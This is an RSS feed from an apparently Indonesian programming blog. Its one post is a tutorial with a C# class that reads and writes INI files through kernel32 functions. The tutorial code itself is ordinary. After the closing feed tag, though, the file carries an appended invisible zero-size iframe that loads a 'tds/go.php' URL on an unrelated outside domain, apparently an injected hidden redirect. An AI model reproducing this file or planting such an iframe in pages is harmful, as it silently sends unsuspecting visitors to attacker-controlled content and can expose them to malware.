<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; ini files</title>
	<atom:link href="http://www.dijexi.com/tag/ini-files/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>Mengakses INI File dengan C Sharp</title>
		<link>http://www.dijexi.com/2009/05/mengakses-ini-file-dengan-c-sharp/</link>
		<comments>http://www.dijexi.com/2009/05/mengakses-ini-file-dengan-c-sharp/#comments</comments>
		<pubDate>Tue, 12 May 2009 16:40:00 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[C-Sharp]]></category>
		<category><![CDATA[Dotnet]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[c-charp]]></category>
		<category><![CDATA[configuration]]></category>
		<category><![CDATA[ini files]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/05/mengakses-ini-file-dengan-c-sharp/</guid>
		<description><![CDATA[Pendahuluan Class C# di bawah ini berguna untuk mengakses file Ini yang memanfaatkan 2 functions dari KERNEL32.dll, yaitu : WritePrivateProfileString dan GetPrivateProfileString Namespaces yang diperlukan System.Runtime.InteropServices dan System.Text Class using System; using System.Runtime.InteropServices; using System.Text; namespace Ini { /// &#60;summary&#62; /// Create a New INI file to store or load data /// &#60;/summary&#62; public class [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><h2>Pendahuluan</h2>
<p>Class C# <code>di bawah ini berguna untuk mengakses file Ini</code> yang memanfaatkan 2 functions dari KERNEL32.dll, yaitu : <code>WritePrivateProfileString</code> dan <code>GetPrivateProfileString</code></p>
<p>Namespaces yang diperlukan <code>System.Runtime.InteropServices</code> dan <code>System.Text</code></p>
<p><span id="more-380"></span></p>
<h2>Class</h2>
<pre class="csharpcode"><span class="kwrd">using</span> System;
<span class="kwrd">using</span> System.Runtime.InteropServices;
<span class="kwrd">using</span> System.Text;

<span class="kwrd">namespace</span> Ini
{
    <span class="rem">/// &lt;summary&gt;</span>
    <span class="rem">/// Create a New INI file to store or load data</span>
    <span class="rem">/// &lt;/summary&gt;</span>

    <span class="kwrd">public</span> <span class="kwrd">class</span> IniFile
    {
        <span class="kwrd">public</span> <span class="kwrd">string</span> path;

        [DllImport(<span class="str">"kernel32"</span>)]
        <span class="kwrd">private</span> <span class="kwrd">static</span> <span class="kwrd">extern</span> <span class="kwrd">long</span> WritePrivateProfileString(<span class="kwrd">string</span> section,
            <span class="kwrd">string</span> key,<span class="kwrd">string</span> val,<span class="kwrd">string</span> filePath);
        [DllImport(<span class="str">"kernel32"</span>)]
        <span class="kwrd">private</span> <span class="kwrd">static</span> <span class="kwrd">extern</span> <span class="kwrd">int</span> GetPrivateProfileString(<span class="kwrd">string</span> section,
                 <span class="kwrd">string</span> key,<span class="kwrd">string</span> def, StringBuilder retVal,
            <span class="kwrd">int</span> size,<span class="kwrd">string</span> filePath);

        <span class="rem">/// &lt;summary&gt;</span>
        <span class="rem">/// INIFile Constructor.</span>
        <span class="rem">/// &lt;/summary&gt;</span>
        <span class="rem">/// &lt;PARAM name="INIPath"&gt;&lt;/PARAM&gt;</span>

        <span class="kwrd">public</span> IniFile(<span class="kwrd">string</span> INIPath)
        {
            path = INIPath;
        }

        <span class="rem">/// &lt;summary&gt;</span>
        <span class="rem">/// Write Data to the INI File</span>
        <span class="rem">/// &lt;/summary&gt;</span>
        <span class="rem">/// &lt;PARAM name="Section"&gt;&lt;/PARAM&gt;</span>
        <span class="rem">/// Section name</span>
        <span class="rem">/// &lt;PARAM name="Key"&gt;&lt;/PARAM&gt;</span>
        <span class="rem">/// Key Name</span>
        <span class="rem">/// &lt;PARAM name="Value"&gt;&lt;/PARAM&gt;</span>
        <span class="rem">/// Value Name</span>

        <span class="kwrd">public</span> <span class="kwrd">void</span> IniWriteValue(<span class="kwrd">string</span> Section,<span class="kwrd">string</span> Key,<span class="kwrd">string</span> Value)
        {
            WritePrivateProfileString(Section,Key,Value,<span class="kwrd">this</span>.path);
        }

        <span class="rem">/// &lt;summary&gt;</span>
        <span class="rem">/// Read Data Value From the Ini File</span>
        <span class="rem">/// &lt;/summary&gt;</span>
        <span class="rem">/// &lt;PARAM name="Section"&gt;&lt;/PARAM&gt;</span>
        <span class="rem">/// &lt;PARAM name="Key"&gt;&lt;/PARAM&gt;</span>
        <span class="rem">/// &lt;PARAM name="Path"&gt;&lt;/PARAM&gt;</span>
        <span class="rem">/// &lt;returns&gt;&lt;/returns&gt;</span>

        <span class="kwrd">public</span> <span class="kwrd">string</span> IniReadValue(<span class="kwrd">string</span> Section,<span class="kwrd">string</span> Key)
        {
            StringBuilder temp = <span class="kwrd">new</span> StringBuilder(255);
            <span class="kwrd">int</span> i = GetPrivateProfileString(Section,Key,<span class="str">""</span>,temp,
                                            255, <span class="kwrd">this</span>.path);
            <span class="kwrd">return</span> temp.ToString();

        }
    }
}</pre>
<p><!--.csharpcode, .csharpcode pre { 	font-size: small; 	color: black; 	font-family: consolas, "Courier New", courier, monospace; 	background-color: #ffffff; 	/*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { 	background-color: #f4f4f4; 	width: 100%; 	margin: 0em; } .csharpcode .lnum { color: #606060; } --></p>
<h2>Menggunakan class</h2>
<p>Langkah yang diperlukan untuk menggunakan class <code>Ini</code>:</p>
<ol>
<li>Pada definisi project namespace tambahkan:<span class="code-keyword">
<p></span></p>
<pre><span class="code-keyword">using</span> Ini;</pre>
</li>
<li>Buat object berjenis INIFile seperti ini:
<pre style="margin-top: 0px">INIFile ini = <span class="code-keyword">new</span> INIFile(<span class="code-string">"</span><span class="code-string">C:\\test.ini"</span>);</pre>
</li>
<li><code>Gunakan </code><code>IniWriteValue</code> untuk menulis nilai baru pada suatu key dalam sebuah section atau <code>gunakan IniReadValue</code> untuk membaca suatu value dari sebuah key dalam suatu Section.</li>
<li>Misalnya isi dari test.ini adalah sbb:
<pre>[database]
conn=mssql</pre>
</li>
<li>Maka untuk membaca nilai dari key conn, dapat digunakan perintah sbb:
<pre>string conn = ini.IniReadValue("database", "conn");</pre>
</li>
</ol>
<p>Akhmad Daniel Sembiring</p>
<p><a href="http://ligarwangi.com"></a><a href="http://www.vitraining.com">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a></p>
<p>Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</p>
<p>Sumber: www.codeproject.com</p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/" rel="bookmark">CodeIgniter: koneksi ke port MySQL tertentu selain 3306</a></li><li><a href="http://www.dijexi.com/2009/06/mengenal-delphi/" rel="bookmark">01. Mengenal Delphi</a></li><li><a href="http://www.dijexi.com/2009/05/koneksi-ms-sql-server-dengan-c-sharp/" rel="bookmark">Koneksi MS SQL Server dengan C-Sharp</a></li><li><a href="http://www.dijexi.com/2009/07/mengakses-active-directory-dari-delphi/" rel="bookmark">Mengakses Active Directory dari Delphi</a></li><li><a href="http://www.dijexi.com/2008/06/perl-membaca-file-excel/" rel="bookmark">Perl Membaca File Excel</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F05%2Fmengakses-ini-file-dengan-c-sharp%2F&amp;linkname=Mengakses%20INI%20File%20dengan%20C%20Sharp"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/05/mengakses-ini-file-dengan-c-sharp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
